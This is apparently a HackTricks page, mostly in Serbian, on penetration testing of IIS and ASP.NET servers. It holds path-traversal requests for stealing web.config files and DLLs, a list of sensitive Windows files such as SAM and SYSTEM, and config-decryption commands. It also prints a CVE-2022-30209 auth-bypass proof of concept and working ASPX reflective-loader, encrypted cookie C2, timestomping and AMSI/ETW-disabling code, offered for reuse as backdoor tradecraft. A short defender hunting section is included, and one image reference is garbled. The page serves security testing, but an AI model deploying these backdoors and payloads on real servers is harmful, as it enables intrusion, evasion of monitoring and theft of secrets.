IIS - Internet Information Services
Reading time: 16 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Test ekstenzija izvršnih fajlova:
- asp
- aspx
- config
- php
Otkrivanje internih IP adresa
Na bilo kojem IIS serveru gde dobijete 302 možete pokušati ukloniti Host header i koristiti HTTP/1.0, a u odgovoru Location header može da ukaže na internu IP adresu:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Odgovor koji otkriva internu IP adresu:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Izvršavanje .config fajlova
Možete otpremiti .config fajlove i koristiti ih za izvršavanje koda. Jedan način je dodavanje koda na kraj fajla unutar HTML komentara: Download example here
Više informacija i tehnika za iskorišćavanje ove ranjivosti naći ćete ovde: https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/
IIS Discovery Bruteforce
Preuzmite listu koju sam napravio:
Napravljen je spajanjem sadržaja sledećih lista:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Koristite je bez dodavanja ekstenzije — fajlovi kojima je ekstenzija potrebna već je imaju.
Path Traversal
Leaking source code
Pročitajte kompletan writeup na: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
tip
Ukratko, u folderima aplikacije postoji više web.config fajlova sa referencama na "assemblyIdentity" fajlove i "namespaces". Sa ovim informacijama moguće je saznati gde se nalaze izvršni fajlovi i preuzeti ih.
Iz preuzetih Dlls takođe je moguće pronaći nove namespaces gde treba pokušati pristupiti i dobiti web.config fajl kako biste pronašli nove namespaces i assemblyIdentity.
Takođe, fajlovi connectionstrings.config i global.asax mogu sadržati zanimljive informacije.
U .Net MVC applications, web.config fajl ima ključnu ulogu tako što definiše svaki binarni fajl na kojem se aplikacija oslanja kroz "assemblyIdentity" XML tagove.
Istraživanje binarnih fajlova
Primer pristupa web.config fajlu je prikazan ispod:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Ovaj zahtev otkriva razna podešavanja i zavisnosti, kao što su:
- EntityFramework verzija
- AppSettings za webpages, client validation i JavaScript
- System.web konfiguracije za autentifikaciju i runtime
- System.webServer podešavanja modula
- Runtime assembly bindings za mnoge biblioteke kao što su Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc
Ova podešavanja ukazuju da su određene datoteke, kao što je /bin/WebGrease.dll, smeštene u /bin folderu aplikacije.
Datoteke u root direktorijumu
Datoteke pronađene u root direktorijumu, kao što su /global.asax i /connectionstrings.config (koja sadrži osetljive lozinke), su ključne za konfiguraciju i rad aplikacije.
Namespaces i web.config
MVC aplikacije takođe definišu dodatne web.config files za specifične namespace-ove kako bi se izbegle ponavljajuće deklaracije u svakoj datoteci, što je demonstrirano zahtevom za preuzimanje drugog web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Preuzimanje DLLs
Pomenuti prilagođeni namespace ukazuje na DLL pod imenom "WebApplication1" koji se nalazi u direktorijumu /bin. Nakon toga prikazan je zahtev za preuzimanje WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Ovo ukazuje na prisustvo drugih bitnih DLL-ova, kao što su System.Web.Mvc.dll i System.Web.Optimization.dll, u direktorijumu /bin.
U scenariju gde DLL uvozi namespace nazvan WebApplication1.Areas.Minded, napadač može zaključiti postojanje drugih web.config fajlova na predvidljivim putanjama, kao što je /area-name/Views/, koji sadrže specifične konfiguracije i reference na druge DLL-ove u direktorijumu /bin. Na primer, zahtev za /Minded/Views/web.config može otkriti konfiguracije i namespaces koji ukazuju na prisustvo drugog DLL-a, WebApplication1.AdditionalFeatures.dll.
Common files
Iz here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 greška
If you see an error like the following one:
%20(1)%20(2)%20(2)%20(3)%20(3)%20(2)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(10)%20(10)%20(2).png)
To znači da server nije primio ispravan naziv domena u Host header-u.\ Da biste pristupili web stranici, možete pogledati posluženi SSL Certificate i možda ćete tamo naći naziv domena/poddomena. Ako ga tamo nema, možda ćete morati da brute force VHosts dok ne pronađete ispravan.
Dešifrovanje enkriptovanih konfiguracija i ASP.NET Core Data Protection key rings
Dva uobičajena obrasca za zaštitu tajni u IIS-hostovanim .NET aplikacijama su:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) za sekcije u web.config kao što je
. - ASP.NET Core Data Protection key ring (persisted locally) koji se koristi za zaštitu tajni aplikacije i cookies.
Ako imate pristup fajl-sistemu ili interaktivni pristup na web serveru, ko-locirani ključevi često omogućavaju dešifrovanje.
- ASP.NET (Full Framework) – dešifrujte zaštićene sekcije konfiguracije pomoću aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – proverite Data Protection key rings koji su sačuvani lokalno (XML/JSON files) u lokacijama kao što su:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Ako je key ring dostupan, operator koji se izvršava pod identitetom aplikacije može instancirati IDataProtector sa istim purposes i pozvati Unprotect da otkrije čuvane tajne. Pogrešne konfiguracije koje čuvaju key ring zajedno sa fajlovima aplikacije čine offline dekriptovanje trivijalnim nakon kompromitovanja hosta.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Phantom Taurus/NET-STAR toolkit prikazuje zreli obrazac za fileless IIS persistence i post‑exploitation u potpunosti unutar w3wp.exe. Osnovne ideje su široko ponovo upotrebljive za custom tradecraft i za detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: jedna .aspx stranica (npr. OutlookEN.aspx) nosi Base64‑encoded, opciono Gzip‑compressed .NET DLL. Na trigger zahtev dekodira, dekompresuje i reflektivno učitava u trenutni AppDomain i poziva glavni entry point (npr. ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results se umotavaju Gzip → AES‑ECB/PKCS7 → Base64 i prenose preko naizgled legitimnih cookie‑heavy zahteva; operatori su koristili stabilne delimitere (npr. "STAR") za chunking.
- Reflective .NET execution: prihvata proizvoljne managed assemblies kao Base64, učitava preko Assembly.Load(byte[]) i prosleđuje operator args za brze zamene modula bez dodirivanja diska.
- Operating in precompiled ASP.NET sites: dodavanje/održavanje pomoćnih shells/backdoors čak i kada je sajt precompiled (npr. dropper dodaje dynamic pages/handlers ili koristi config handlers) – izloženo komandama kao što su bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: izlaže changeLastModified akciju i timestomp pri deploymentu (uključujući future compilation timestamps) da oteža DFIR.
- Optional AMSI/ETW pre‑disable for loaders: loader druge faze može onemogućiti AMSI i ETW pre poziva Assembly.Load da smanji inspekciju in‑memory payloada.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Packing/crypto pomoćne funkcije (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session tok i površina komandi
- Session bootstrap i tasking se prenose putem cookies kako bi se uklopili u normalnu web aktivnost.
- Primećene komande su uključivale: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; i dinamičke primitive izvršavanja code_self, code_pid, run_code za in‑memory .NET execution.
Timestomping alatka
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Inline onemogućavanje AMSI/ETW pre Assembly.Load (loader varijanta)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Hunting notes (defenders)
- Jedna, čudna ASPX stranica sa veoma dugim Base64/Gzip blobovima; zahtevi sa puno kolačića.
- Nepodržani managed moduli unutar w3wp.exe; stringovi poput Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Ponavljajući delimitatori poput "STAR" u saobraćaju; neusklađeni ili čak budući vremenski žigovi na ASPX/assemblies.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
Mnoge ASP.NET aplikacije ugrađuju Telerik UI for ASP.NET AJAX i izlažu neautentifikovani handler Telerik.Web.UI.WebResource.axd. Kada je Image Editor cache endpoint dostupan (type=iec), parametri dkey=1 i prtype omogućavaju nebezbednu refleksiju koja izvršava bilo koji javni konstruktor bez parametara pre autentifikacije. Ovo daje univerzalni DoS primitiv i može eskalirati u pre‑auth RCE na aplikacijama sa nesigurnim AppDomain.AssemblyResolve handlerima.
See detailed techniques and PoCs here:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Možete pokušati da enumerate folders and files inside every discovered folder (even if it's requiring Basic Authentication) using this technique.
Glavno ograničenje ove tehnike, ako je server ranjiv, je da može pronaći samo prvih 6 slova imena svakog fajla/foldera i prvih 3 slova ekstenzije fajlova.
You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
You can also use metasploit: use scanner/http/iis_shortname_scanner
A nice idea to find the final name of the discovered files is to ask LLMs for options like it's done in the script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php
Možete pokušati da mix this vulnerability and the last one to find new folders and bypass the authentication.
ASP.NET Trace.AXD enabled debugging
ASP.NET include a debugging mode and its file is called trace.axd.
On čuva veoma detaljan log svih zahteva upućenih aplikaciji tokom vremena.
Ove informacije uključuju udaljene IP adrese klijenata, session ID-ove, sve request i response cookies, fizičke putanje, informacije iz izvornog koda, i potencijalno čak i korisnička imena i lozinke.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH koristi sledeće informacije:
validationKey(string): hex-kodirani ključ za validaciju potpisa.decryptionMethod(string): (podrazumevano “AES”).decryptionIV(string): hex-kodirani inicijalizacioni vektor (podrazumevano vektor nula).decryptionKey(string): hex-kodirani ključ koji se koristi za dekriptovanje.
Međutim, neki ljudi koriste default values ovih parametara i kao cookie koriste email korisnika. Dakle, ako možete pronaći web koji koristi istu platformu i koji koristi ASPXAUTH cookie i napravite korisnika sa email-om korisnika kojeg želite da imitirate na serveru pod napadom, možda ćete moći da iskoristite cookie sa drugog servera na prvom i predstavljate se kao taj korisnik.
Ovaj napad je uspeo i opisan je u ovom writeupu.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: Bag u kodu nije pravilno proveravao lozinku koju unosi korisnik, tako da napadač čiji password hash hits a key koji je već u cache će moći da se prijavi kao taj korisnik .
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Izvori
- Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks